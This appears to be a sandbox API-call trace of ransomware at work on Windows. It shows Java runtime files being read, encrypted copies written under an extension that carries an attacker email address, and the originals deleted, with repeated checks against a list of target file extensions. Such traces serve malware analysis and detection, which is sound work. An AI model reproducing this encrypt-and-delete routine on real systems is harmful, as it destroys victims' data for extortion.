	[0163.865] ReadFile (in: hFile=0x448, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.866] WriteFile (in: hFile=0x44c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xe4, lpOverlapped=0x0) returned 1
	[0163.866] SetEndOfFile (hFile=0x44c) returned 1
	[0164.308] CloseHandle (hObject=0x44c) returned 1
	[0164.309] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.309] SetEndOfFile (hFile=0x448) returned 1
	[0164.322] CloseHandle (hObject=0x448) returned 1
	[0164.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.323] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1
	[0164.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0164.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0164.324] lstrlenW (lpString=".doc") returned 4
	[0164.324] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.324] lstrlenW (lpString=".docx") returned 5
	[0164.324] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0164.324] lstrlenW (lpString=".pdf") returned 4
	[0164.324] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.324] lstrlenW (lpString=".xls") returned 4
	[0164.324] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.324] lstrlenW (lpString=".xlsx") returned 5
	[0164.324] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0164.324] lstrlenW (lpString=".ppt") returned 4
	[0164.324] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0164.324] lstrlenW (lpString=".zip") returned 4
	[0164.324] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.324] lstrlenW (lpString=".rar") returned 4
	[0164.324] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.324] lstrlenW (lpString=".bz2") returned 4
	[0164.324] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.324] lstrlenW (lpString=".7z") returned 3
	[0164.324] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0164.324] lstrlenW (lpString=".dbf") returned 4
	[0164.324] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0164.324] lstrlenW (lpString=".1cd") returned 4
	[0164.324] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0164.324] lstrlenW (lpString=".jpg") returned 4
	[0164.324] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0164.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0164.324] lstrlenW (lpString=".doc") returned 4
	[0164.325] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.325] lstrlenW (lpString=".docx") returned 5
	[0164.325] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0164.325] lstrlenW (lpString=".pdf") returned 4
	[0164.325] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.325] lstrlenW (lpString=".xls") returned 4
	[0164.325] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.325] lstrlenW (lpString=".xlsx") returned 5
	[0164.325] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0164.325] lstrlenW (lpString=".ppt") returned 4
	[0164.325] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0164.325] lstrlenW (lpString=".zip") returned 4
	[0164.325] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.325] lstrlenW (lpString=".rar") returned 4
	[0164.325] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.325] lstrlenW (lpString=".bz2") returned 4
	[0164.325] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.325] lstrlenW (lpString=".7z") returned 3
	[0164.325] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0164.325] lstrlenW (lpString=".dbf") returned 4
	[0164.325] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0164.325] lstrlenW (lpString=".1cd") returned 4
	[0164.325] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0164.325] lstrlenW (lpString=".jpg") returned 4
	[0164.325] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.325] lstrcmpiW (lpString1=".template", lpString2=".Z9") returned -1
	[0164.325] lstrlenW (lpString="snmp.acl.template") returned 17
	[0164.325] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.327] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=3376) returned 1
	[0164.327] CloseHandle (hObject=0x448) returned 1
	[0164.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20
	[0164.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.327] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.328] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.328] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.328] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0164.328] GetLastError () returned 0x0
	[0164.328] ReadFile (in: hFile=0x448, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0xd30, lpOverlapped=0x0) returned 1
	[0164.332] WriteFile (in: hFile=0x44c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xd40, lpOverlapped=0x0) returned 1
	[0164.333] ReadFile (in: hFile=0x448, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.333] WriteFile (in: hFile=0x44c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xf6, lpOverlapped=0x0) returned 1
	[0164.334] SetEndOfFile (hFile=0x44c) returned 1
	[0164.334] CloseHandle (hObject=0x44c) returned 1
	[0164.334] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.334] SetEndOfFile (hFile=0x448) returned 1
	[0164.337] CloseHandle (hObject=0x448) returned 1
	[0164.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.338] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1
	[0164.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0164.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0164.338] lstrlenW (lpString=".doc") returned 4
	[0164.338] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0164.338] lstrlenW (lpString=".docx") returned 5
	[0164.338] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0164.338] lstrlenW (lpString=".pdf") returned 4
	[0164.338] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0164.338] lstrlenW (lpString=".xls") returned 4
	[0164.338] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0164.338] lstrlenW (lpString=".xlsx") returned 5
	[0164.338] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0164.338] lstrlenW (lpString=".ppt") returned 4
	[0164.339] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0164.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0164.339] lstrlenW (lpString=".zip") returned 4
	[0164.339] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0164.339] lstrlenW (lpString=".rar") returned 4
	[0164.339] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0164.339] lstrlenW (lpString=".bz2") returned 4
	[0164.339] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0164.339] lstrlenW (lpString=".7z") returned 3
	[0164.339] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0164.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0164.339] lstrlenW (lpString=".dbf") returned 4
	[0164.339] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0164.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0164.339] lstrlenW (lpString=".1cd") returned 4
	[0164.339] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0164.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0164.339] lstrlenW (lpString=".jpg") returned 4
	[0164.339] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0164.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0164.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0164.339] lstrlenW (lpString=".doc") returned 4
	[0164.339] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0164.339] lstrlenW (lpString=".docx") returned 5
	[0164.339] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0164.339] lstrlenW (lpString=".pdf") returned 4
	[0164.339] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0164.339] lstrlenW (lpString=".xls") returned 4
	[0164.339] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0164.339] lstrlenW (lpString=".xlsx") returned 5
	[0164.339] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0164.339] lstrlenW (lpString=".ppt") returned 4
	[0164.339] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0164.339] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0164.339] lstrlenW (lpString=".zip") returned 4
	[0164.339] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0164.340] lstrlenW (lpString=".rar") returned 4
	[0164.340] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0164.340] lstrlenW (lpString=".bz2") returned 4
	[0164.340] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0164.340] lstrlenW (lpString=".7z") returned 3
	[0164.340] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0164.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0164.340] lstrlenW (lpString=".dbf") returned 4
	[0164.340] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0164.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0164.340] lstrlenW (lpString=".1cd") returned 4
	[0164.340] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0164.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0164.340] lstrlenW (lpString=".jpg") returned 4
	[0164.340] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0164.340] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0164.340] lstrlenW (lpString="management-agent.jar") returned 20
	[0164.340] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.341] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=381) returned 1
	[0164.341] CloseHandle (hObject=0x448) returned 1
	[0164.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20
	[0164.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.341] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.341] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.341] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.341] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0164.346] GetLastError () returned 0x0
	[0164.346] ReadFile (in: hFile=0x448, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x17d, lpOverlapped=0x0) returned 1
	[0164.552] WriteFile (in: hFile=0x44c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x180, lpOverlapped=0x0) returned 1
	[0164.553] ReadFile (in: hFile=0x448, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.553] WriteFile (in: hFile=0x44c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xfc, lpOverlapped=0x0) returned 1
	[0164.554] SetEndOfFile (hFile=0x44c) returned 1
	[0164.554] CloseHandle (hObject=0x44c) returned 1
	[0164.554] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.554] SetEndOfFile (hFile=0x448) returned 1
	[0164.557] CloseHandle (hObject=0x448) returned 1
	[0164.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.558] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1
	[0164.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0164.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0164.559] lstrlenW (lpString=".doc") returned 4
	[0164.559] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.559] lstrlenW (lpString=".docx") returned 5
	[0164.559] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0164.559] lstrlenW (lpString=".pdf") returned 4
	[0164.559] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.559] lstrlenW (lpString=".xls") returned 4
	[0164.559] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.559] lstrlenW (lpString=".xlsx") returned 5
	[0164.559] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0164.559] lstrlenW (lpString=".ppt") returned 4
	[0164.559] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0164.559] lstrlenW (lpString=".zip") returned 4
	[0164.559] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.559] lstrlenW (lpString=".rar") returned 4
	[0164.560] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.560] lstrlenW (lpString=".bz2") returned 4
	[0164.560] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.560] lstrlenW (lpString=".7z") returned 3
	[0164.560] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0164.560] lstrlenW (lpString=".dbf") returned 4
	[0164.560] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0164.560] lstrlenW (lpString=".1cd") returned 4
	[0164.560] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0164.560] lstrlenW (lpString=".jpg") returned 4
	[0164.560] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0164.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0164.560] lstrlenW (lpString=".doc") returned 4
	[0164.560] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.560] lstrlenW (lpString=".docx") returned 5
	[0164.560] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0164.560] lstrlenW (lpString=".pdf") returned 4
	[0164.560] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.560] lstrlenW (lpString=".xls") returned 4
	[0164.560] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.560] lstrlenW (lpString=".xlsx") returned 5
	[0164.560] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0164.560] lstrlenW (lpString=".ppt") returned 4
	[0164.560] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0164.560] lstrlenW (lpString=".zip") returned 4
	[0164.560] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.560] lstrlenW (lpString=".rar") returned 4
	[0164.560] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.560] lstrlenW (lpString=".bz2") returned 4
	[0164.560] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.561] lstrlenW (lpString=".7z") returned 3
	[0164.561] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0164.561] lstrlenW (lpString=".dbf") returned 4
	[0164.561] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0164.561] lstrlenW (lpString=".1cd") returned 4
	[0164.561] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0164.561] lstrlenW (lpString=".jpg") returned 4
	[0164.561] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.561] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0164.561] lstrlenW (lpString="net.properties") returned 14
	[0164.561] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.562] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=4464) returned 1
	[0164.562] CloseHandle (hObject=0x448) returned 1
	[0164.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20
	[0164.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.562] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.562] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.562] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.562] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0164.564] GetLastError () returned 0x0
	[0164.564] ReadFile (in: hFile=0x448, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x1170, lpOverlapped=0x0) returned 1
	[0164.566] WriteFile (in: hFile=0x44c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x1180, lpOverlapped=0x0) returned 1
	[0164.568] ReadFile (in: hFile=0x448, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.568] WriteFile (in: hFile=0x44c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xf0, lpOverlapped=0x0) returned 1
	[0164.568] SetEndOfFile (hFile=0x44c) returned 1
	[0164.568] CloseHandle (hObject=0x44c) returned 1
	[0164.568] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.568] SetEndOfFile (hFile=0x448) returned 1
	[0164.571] CloseHandle (hObject=0x448) returned 1
	[0164.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.571] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1
	[0164.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
